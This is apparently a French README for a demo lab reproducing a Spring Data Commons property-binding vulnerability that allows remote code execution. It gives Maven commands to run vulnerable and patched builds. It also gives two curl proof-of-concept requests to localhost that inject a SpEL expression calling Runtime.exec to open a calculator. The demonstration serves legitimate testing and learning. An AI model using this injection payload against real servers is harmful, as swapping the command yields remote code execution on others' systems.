
Spring Data Commons, dans les versions antérieures à 1.13 jusqu'à 1.13.10, 2.0 jusqu'à 2.0.5, et les versions plus anciennes non supportées, contiennent une vulnérabilité de liaison de propriétés causée par une neutralisation incorrecte d'éléments spéciaux. Un utilisateur malveillant distant non authentifié (ou attaquant) peut fournir des paramètres de requête spécialement conçus contre les ressources HTTP basées sur Spring Data REST ou utiliser la liaison de charge utile de requête basée sur la projection de Spring Data, ce qui peut conduire à une exécution de code à distance.
Plus d'informations ici
L'application peut être testée avec la version vulnérable ou la version corrigée de Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Exécutez la commande suivante pour vérifier si la vulnérabilité peut être exploitée :
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Créé par https://www.arima.eu
